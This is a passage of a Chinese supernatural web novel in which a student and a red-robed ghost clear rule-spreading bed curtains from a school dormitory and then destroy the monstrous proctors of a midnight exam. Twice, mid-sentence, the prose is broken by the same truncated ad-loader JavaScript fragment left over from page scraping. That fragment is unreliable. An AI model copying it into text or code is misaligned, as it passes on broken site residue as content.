巢穴之主是大脑,巢穴产物是血液,巢穴建筑是身体,最高信仰就是向病毒一样扩张领土。 是该下点猛药杀杀毒了。 生物课之后是两节物理课。 听了两小时摩擦力之后,沈云烟终于来到了晚饭时刻,在铃声响起来的最后一分钟,班主任擦着汗敲开了教室门。 班主任老头宣布道:“校长临时通知我,说今天晚自习取消,今晚宿舍大扫除,你们先回宿舍收拾卫生,我晚上九点会去检查。” 一听不上课,部分学生高高兴兴收拾东西回寝室。 宋先挠挠头:“怎么刚开学就查卫生,以前也没这样过。” 沈云烟若有所思:“晚饭过后,大部分学生必定都集中在宿舍,硬要说的话,可能与宿舍规则有关。” 还有那个校长,恐怕也不是真正的校长了。 在食堂规则下出现“无所不知的校长”署名之后,整个学校的上空就隐隐约约布下了一张名为巢穴的网。 “回宿舍看看”,沈云烟眸色微动:“看看那张规则到底蔓延到什么程度了。” …… 张雪给的特质通讯器终于排上用场。 “你们那边怎么样了”,沈云烟数着女寝多出来的规则,脸色逐渐沉了下来。 通讯器中传来姬蒙的声音:“不容乐观,仅第二层就多了6张规则。” 加上原本201和202的两张规则,男寝二楼已经有了八个寝室被标记了。 “他们还在其他楼层数,马上就回来”,姬蒙道。 沈云烟等了一会儿,得到了32张宿舍规则的数据,女寝这边数完也有28个之多。 规则开始蔓延了。 “比我想象的要多,这座巢穴的胃口可真大”,沈云烟思索道。 “电器规则还没有彻底消失,不过那只蝴蝶应该闹不出大动静了”,她道:“白裙子失踪,这家伙虽然表面上投诚但真实怎么想的我们不清楚,得防一手。” “现在最容易出事的反而是没有怪物出现的床帘规则”,沈云烟道:“我们得快点想办法把寝室里安装的床帘全部拆卸掉。” 趁着天色还早,还没人睡觉,尽快拆除为好。 “好的”,姬蒙应声,听着很有自信,“交给我们吧,肯定能把男寝管理好。” 沈云烟道:“那就好,我和吴清雾负责女寝,你们负责男寝,越快越好。” 她放下通讯器,觉得姬蒙未免答应地也太快了,又接了过去,准备让他给学生好好说话。 然后就听见通讯器里传来陈东俊略显嚣张的声音:“喂,我们老大看不惯这玩意儿,还不快拆了。” 然后就是姬蒙低沉冰冷的“嗯,快拆。” 沈云烟:“……” 某个平平无奇的夜晚,英才中学黑/帮成立了。 41. 勤奋努力的学生(12) 听见男寝那边进展迅速,沈云烟瞬间就能想象出姬蒙他们几个嚣张的站姿。 这会儿效率就是一切,沈云烟沉默一秒,然后当做什么都没发生似的放下通讯器。 吴清雾凑到她身边:“沈姐,咱们该怎么搞。” 她也听到了男寝那边的动静,不确定道:“咱们也要直接进宿舍示威吗,不太好吧。” 感觉这票干完就能被全校批评,背书包回家了。 “想什么呢你”,沈云烟戳了戳她额头,“你也想坐一坐黑/帮二把手的位置吗。” 沈云烟道:“你去敲门,就说这次卫生检查不一般,评上文明宿舍的奖金一万,要求杂物必须全部去掉,床帘包括在内。” “进去的时候先把人家寝室卫生好好夸一顿,然后再说正事”,她嘱咐道。 “要是实在不配合的,就叫我来”,沈云烟分好任务,“我们分开行动,越快越好。” “好嘞!” 两人分开,吴清雾走到一间新贴上规则的寝室,敲了敲门,听见应声之后推门进去。 “同学们好,我来通知个事……”,她精炼地把拆除床帘的表述融进卫生检查评选之中,最后用尽毕生功力把这间寝室夸出了花,最后延伸到勤劳文明高尚的人类品格。 几个学生没听过这么直白的夸赞,其中有个脸皮薄的都红了脸。 “我,我们知道了,谢谢同学”,红脸的学生握紧拳头,比了个努力的手势,“我们会努力争第一的。” 任务完成,吴清雾心虚地走出了这间寝室,然后抹了把汗,给自己打气:“就是这样没错,下一间!” 沈云烟通知的速度很快,她一个个敲门进去通知,要是配合的还好,不配合的她直接学习借鉴了姬蒙的处理方式。 虽然过程略有波折,但结果又快又好。 “好了,床帘全部去掉了。” 和吴清雾成功汇合,又给男寝按了通讯,得知两边的任务都完美完成。 “这下除了那个白裙子,其他的都没有威胁了”,吴清雾松了口气。 不过一想到晚上的考试,她还有点紧张。 她道:“也不知道今天晚上会发生什么事,希望我们都能平安回来。” 沈云烟捂住了她的嘴,对上吴清雾疑惑的眼神,她道:“别说这种话,一般不是主角的说这话都得出事。” 吴清雾瞬间停嘴,等沈云烟移开手之后,她赶紧呸了几下:“我年纪小,我都是瞎说的,呸呸呸。” “实在怕的话我有个办法”,沈云烟不知从哪里拿出来一根香递给她,神秘兮兮道,“敬神报平安,很灵的。” “这是你们内部的秘密法宝吗”,吴清雾盲目相信沈云烟,见识过她棒打白裙子之后,就算现在沈云烟拿出根拖把说那是圣兽她都会相信。 吴清雾郑重收好:“我会好好保存的。” 学校里被考试选中的人不少,食堂规则还好,看见规则纸张后只要自己控制好打饭量就行。 但宿舍是群体生活,能看见规则的人即使小心躲避触犯条件,保不齐寝室里的普通人会突然达成条件,引发规则降临。 不过这会儿四条规则已经废的差不多了,就算达成了条件,那些东西也没法出来作妖,寝室里的学生算是暂时安全。 剩下的就今晚处理,沈云烟觉得自己还有点期待考试。 “我记得你之前说,晚上十二点的时候你们会突然出现在考试教室里”,她问道。 “对,在那之前会出奇地困,眼睛一闭就昏睡过去了”,吴清雾道。 “也不知道是精神引导还是其他特殊的方法……”沈云烟若有所思。 她天生免疫这些花里胡哨的手段,这个巢穴之主要是真能把她弄晕过去,那这道行可不简单呐。 沈云烟突然注意到了一个别人都没有的问题。 要是其他人都进考场了,就她被拦在考场外边可怎么办。 …… 没有宿舍规则侵扰的夜晚和往常一样宁静,班主任查完寝之后,学生们就呆在寝室里说说笑笑。 直到晚上快十二点,整栋宿舍楼逐渐安静了下来,学生们陆续进入梦乡。 吴清雾眼皮有点睁不开,她和衣躺在床上,看了一眼靠坐在凳子上的沈云烟,觉得有种莫名的力量把她拉向黑暗。 她摸了摸自己手里紧攥着的香,顿时觉得多了几分安心。 “沈姐……”,她困的眼前都在重影,眼皮实在撑不住,闭上眼睛挣扎着说了最后几句:“太困了,我马上就要进去了,你得快点跟上来……” “我知道,你先睡吧”,沈云烟道。 对面的呼吸声逐渐平稳,显然已经进入梦乡,沈云烟看了一眼时间:11:58。 就剩两分钟了,她什么感觉也没有。 明明吴清雾都进入考场了。 看起来这新生入学考试有严重漏洞呢。 “算了”,沈云烟也不计较,她走到电灯开关旁边,开灯关灯,再开灯关灯。 要是吴清雾还睁着眼,肯定被会被不断变化的光线刺地眼睛疼。 经过十几次开关之后,房间终于出现了些微变化。 【任何时候不能使用电器】 头顶的风扇秃了,寝室的门框空荡荡的,半截房门在对面墙上镶着。 沈云烟低头一看,老熟蝶还在被红布条拴着,哪也去不了,见她再次出现,整只蝶都僵住了。 “放轻松,这回不是找你麻烦的”,沈云烟没动它,“对了,要是看见白裙子了给我提个醒,算你立功,懂吗。” 蝴蝶的触须顿时就不抖了,扑闪翅膀,往教学楼方向指了指。 “你的意思是它在教学楼。” 蝴蝶继续扑闪翅膀。 “知道了,下次见”,巢穴产物卖起队友来可毫不留情,沈云烟得到白裙子的踪迹,确定这家伙没在宿舍规则里流窜就放心了。 她不再理会胆战心惊的蝴蝶,加快速度赶往教学楼。 晚11:59分,沈云烟站在了高二(3)班的考场门口。 她一路穿行引起了不少注视,有来自学生的,有来自那些奇形怪状的监考老师的。 它们粘稠阴毒的目光追随着在教学楼里跑动的沈云烟,但碍于某种她还不知道的隐秘原因,没有一个监考老师走出教室阻拦她。 沈云烟注视着作为夜晚考场的高二(3)班。 教室里没有开灯,所有光源来自于窗外明亮的月光,本该是一片朦胧的昏暗场景,但是她却能清清楚楚地“看清”教室里每一样东西 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 甚至能看清铺放在课桌上卷子最上边印的字。 【本试卷最终解释权归无所不能的校长所有】 或许并不是视觉,这些东西似乎直接印进了脑子里,想看不清都难。 她迅速扫过教室全貌,吴清雾的座位空着,徐祥和陈东俊低着头坐在自己的座位上,两人身边分别站着各自的监考老师。 一个全身纹满月亮的男性,和一个拿着沾血杠铃的女性。 姬蒙也在考场,看见她来了,朝她点了点头,并没有被束缚住行动。 除了他们几个之外,教室里又多了好些人,都是宿舍门口出现规则的那些被考场锁定的学生。 他们也动不了,低着头在座位上坐着,表情或多或少有些怔愣,似乎把这当成一场梦。 所有能看到规则的人都进入了考试。 她想起一路跑上来看见的那些教室里的学生,短短一天,巢穴的范围就成倍扩大,如果没有宋先的提醒,那算算时间,这周末确实会迎来预知中的结果。 不过没关系,现在它的职业生涯肯定撑不到周天。 沈云烟站在门口大声喊“报告”,瞬间两个监考老师向她投来了目光。 女监考老师挥了挥自己手中的杠铃,似乎在判断从哪里对她下手比较狠。 男监考老师脸上的月亮变成了一个很扭曲的图案,然后又逐渐变了回去。 即使散发着浓浓的恶意,但两个监考老师却没有一个动手的。 沈云烟毫不畏惧地踏进了教室,仿佛一个真正着急考试的好学生:“吓死了,还好赶上考试了,老师看我干什么,看你的考生啊。” 顺手将男监考老师对着她的头掰了回去,让他恢复最开始的姿势。 男监考老师只感觉骨头被一股巨力扭下去,脖子咯嘣作响,颈骨瞬间歪斜,可他并不是人,感觉不到疼痛,只觉得自己好像变得有点奇怪了,但不知道哪里奇怪。 见沈云烟落座之后,歪脖子的男监考老师收回注视,继续监视面前的徐祥。 这个人才是他负责要杀死的。 这个新来的奇怪考生会有自己的监考老师负责杀死她。 晚十二点整,沈云烟落座,考试正式开始。 环境突然变得非常安静,就算是坐在她旁边的姬蒙都没了声音,这似乎是一种屏蔽手段。 沈云烟拿起笔,面前本来就有一张空白卷子,在她的注视下浮出字迹。 你最喜欢的科目,你最喜欢的性别,你最喜欢的东西。 三个问题和徐祥说的一样,是创造监考老师的问题。 沈云烟没有丝毫犹豫,落笔填写。 科目:新式巢穴结构设计与摧毁分析(简称新设) 性别:都可。 在填到最后时,她笔下一顿,一个新的想法出来。 最后一项:贺绪风。 一阵吹过,带来些许凉意,在沈云烟数到第六十秒的时候,终于出现了变化。 身旁的阴影逐渐攀爬上来,一只艳红的袖子搭在她的桌子上。 她看着那张卷子重新变回空白,然后似乎在努力生成着什么,但什么没有做到,最后几经变化,卷面上变成了【实践考试】四个大字。 再然后,沈云烟感觉她能动了。 42. 勤奋努力的学生(13) 艳红明媚的长袖垂下,一只熟悉的手搭在课桌上,依旧比常人略白,被红色衬得精致又脆弱。 沈云烟抬头看去,灿若桃花的笑容映入眼帘。 他低低出声,吐出的字暧昧又缱绻,好似紧紧贴在耳边的细语。 “又见面了,烟。” 当【实践考试】的字眼出现,沈云烟就知道她已经脱离了常规考试,所以并不意外贺绪风本人的降临。 “刚刚为什么填的都可”,他带着些委屈,“是不喜欢我原本的身体吗?” “哪里不好看,只要烟提一句,我立马就砍掉。” 不是改掉,是砍掉,回回语出惊人。 这回又来了。 沈云烟颇为无奈。 “不是不喜欢,那些都是随手填的。” 就在他想再说些什么的时候,沈云烟直接夹住了他的嘴,顺毛道:“哪里都好看,不说话的时候更是貌美绝伦,气质绝佳。” 他握住沈云烟的手,微微拉开距离,又把这只手蹭上了他的脸颊。 “不说话的话,你转头就会把我忘了。” 贺绪风如痴如醉:“只要每次见面的时候做上一些惊人之举,烟就会把我牢牢记住。” 原来你这家伙知道自己什么德行。 沈云烟直接捏住他的脸,往外扯出一道弧形,她微笑道:“调戏我很好玩吗,以后每次都放你出来调戏我好不好。” 贺绪风像听不懂她的反话,眼神陡然一亮,脸上出现了憧憬的表情。 “可以吗可以吗”,他凑上前,很认真问道:“真的可以吗?” 糟了,被他爽到了。 “我早就看你身边这些人不顺眼了,你的旁边只能有我站着”,他甚至露出了反派发言。 “不可以”,沈云烟直接推开他的脸,“怎么放你出来,天天提着一节骨头乱晃吗?” “还是把骨头磨珠子串起来挂在身上?” 见贺绪风垂下眼帘,似乎真的在思考这个问题,沈云烟赶紧截断话题。 “这些回去再想,先解决这里的问题,你没发现有人已经看我们很不爽了。” 整个教室除了监考老师之外,就只有她和贺绪风能动。 沈云烟被赋予实践考试的资格,而贺绪风本来就是钻巢穴漏洞召唤出来的。 贺绪风散漫的笑脸一收,垂下尖锐的唇角,不带笑容的他总是过于锋利秾艳,像一团杀人的烈焰。 他转头看向教室里的一切,缓缓道:“它们的眼神我很不喜欢。” “烟,你能帮我杀光它们吗。” 他笑着:“不然我帮你杀光它们也行。” “这些监考老师一个不留”,沈云烟话还没说完,贺绪风就冲了出去,她连忙补了一句,“注意学生的安全啊。” 他没有回应,直接箍住了男监考老师的脖子,将它往后扯。 那些从黑色月亮图案中渗出的扭曲触手拼命往他身上爬,没呆一会儿就像被针扎了一样直接跳开,随即中毒一样不断痉挛。 “你祖宗都不敢吃我,你真是好胃口”,贺绪风喃喃,手上不见放松,任凭无数扭曲盘旋的触手疯狂挥舞。 “咯嘣”一声,男监考老师的歪斜的颈骨彻底被掰正,只不过正地有点过头。 贺绪风遗憾:“断了。” 他放开手,男监考老师软软倒了下去,无数触手还在进行最后的挣扎,贺绪风用力踩下去,彻底碾碎黑色触手。 “该你了”,贺绪风把目光移向想要逃跑的女监考老师,“想要出门吗,我送送你。” 他拉起桌子,瞬间将女监考老师连着桌子砸出了教室,镶进了对面的墙里。 走到还在挣扎起身的怪物身边,他捡起女监考老师掉落在地的沾血杠铃,掂了掂重量:“有些轻,不知道能不能杀了你。” “那就先试试。” 处理完两个监考老师之后,贺绪风满脸求表扬,想跳到沈云烟的面前让她摸摸自己。 结果回头一看,人不见了。 他顿时沉下了脸,有些神经质地捂住了自己的头。 “烟,你不能丢下我,我会发疯的,你在哪里,我想把你吃进肚子,让你永远离不开我……” 贺绪风的喉咙发出类似兽类的威胁恐吓声,他几乎要维持不住自己的理智。 “咚——” 一声巨响过后,隔壁教室的门被撞得裂开,一个四肢扭曲,顶着星星脑袋的监考老师被踢出了门。 沈云烟缓缓走出来,见贺绪风红着眼珠子看她,愣了愣,上去摸了摸他的脸:“这么红?怎么还打急眼了。” “也没发烧,不对,还没我腿高的骨头发什么烧。” 贺绪风瞬间抽噎了一下,无辜道:“打的我手好疼,要吹吹。” “别闹”,沈云烟推开他的脑袋,“正实践考试呢,吹什么吹,自己吹。” 见贺绪风嘴瘪地越来越严重,她连忙摸了摸他的头:“好了,先考试,回家吹。” “我就知道烟对我最好了”,他兴高采烈拉着沈云烟走,“咱们这就去把它们都杀光,然后快点回家。” 英才中学的夜间考场迎来了两位不速之客。 据说某日夜黑风高之际,勤勤恳恳为巢穴做贡献的数名监考老师先后遭遇毒手。 据目击者所述,来者仅有两名,一男一女,格外嚣张,在监考途中突然发难,黑月亮监考老师和杠铃监考老师成为首位不幸遇难者。 他们手段极其残忍,下手的红衣男鬼格外狠辣,在过程中竟然还在数时间,简直不把它们放在眼里。 “你是最后一个”,贺绪风跃至那名监考老师身前,将它的退路完全阻挡住。 面前的监考老师格外年轻,手里攥着一把锋利的钢尺,此时对准了贺绪风。 攻击意图明显,手上的钢尺挥向贺绪风,带起一阵风。 贺绪风轻飘飘躲开,幽怨告状:“烟,她打我。” “她也太凶了,比不上我半点好处。” “这不还没打上嘛,打上了我再帮你吹吹”,沈云烟熟练地接话,推开茶里茶气的男人,看向了面前的女孩。 吴清雾还是现实中的那副模样,但成为监考老师之后,她的眼睛全部都被黑色覆盖,挥舞着钢尺攻击的时候也不见有理智存在。 她外露在口袋的香沾上了不明的黑色物 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 质,轻轻一晃就碎成了粉末。 “看来外物是帮不了她了”,沈云烟思索道,“如果整座巢穴被摧毁,那么这种控制自然而然也就消失了。” 方案有了,沈云烟一边说着对不起,一边用血衣的红布条把吴清雾绑了个结结实实,确保她挣脱不开才歇了口气。 “不过直到现在我还都没有嗅到过巢穴之主的气味”,她望向贺绪风,“你有什么头绪吗?” 不论是C03的鲸神,还是B12的眼球太阳和空置神龛,驳杂的恶臭之中总会夹杂着一点属于祂们的神性。 那是规则,是永恒的神国,是每一个巢穴之主自诞生以来的贪欲和信仰。 是一种圣洁与肮脏深度混合的奇怪味道,沈云烟统一成为巢穴之主的气息。 但英才中学中却没有一丝巢穴之主的味道。 即使白天各类规则频出,夜晚还有考试这样的入侵规则,但确实没有祂的气息。 难不成这个巢穴没有主人。 “不可能”,沈云烟否定,“没有主人的猎场根本没有存在的必要性。” 英才中学的巢穴之主一定藏在了某个隐蔽的地方。 “烟,你看不到吗”,贺绪风缓缓抬起头,眸中倒映着整片天幕,“那片虚假的天空。” “你的意思是,祂是天。” 沈云烟想要感受到天的异样,但看了半天还是感觉不出什么奇怪的地方。 “这里整座学校都乌烟瘴气的,这片天空倒是璀璨”,她道。 “烟”,他轻轻唤了一声,沈云烟刚刚应声,一只手过来捂住了她的眼睛,贺绪风沉着声音,“假的天都很坏,你不许看它。” 虚假的漆黑天幕破碎,诸神舍身度世,将探出的触须遣回,却依旧阻止不了灭世灾难的发生。 “不看它,就没事。” “不去就能活着”,那时候的灯撕心裂肺。 “不看它怎么解决它”,沈云烟笑着移开了他的手。 那时候的她连头也没回。 “你怎么又哭了?” 等到沈云烟曲起手指为他擦拭脸上的泪,贺绪风才发现自己已经泪流满面。 “今日的风有些大,迷眼睛”,他揉了揉眼。 “你要是想看清那些东西,我可以教你”,贺绪风道。 沈云烟被封印了大部分,仅凭化身在外行走,自然对这玩意儿不敏感。 不同于普通的巢穴,普通巢穴有着漫长而明显的筑巢过程,而祂度过隐秘的漫长潜伏期之后会直接爆发,凶猛无比,让人避无可避。 “我们把它叫厄”,贺绪风道:“这只极其虚弱,看起来刚刚出了不久,正在积攒蜕变的能量。” 他浅浅吸了一口气:“你要有心理准备,这些东西非常非常非常丑陋。” “你不想让我看到祂吗”,沈云烟敏锐察觉到他情绪的变化。 贺绪风沉默地点点头。 “和从前有关?” 他继续点头。 “那就算了”,沈云烟道:“既然是那么丑的东西,我觉得还是珍惜眼睛为好。” 她眨眨眼睛:“你说是吧,我的大骨头棒子。”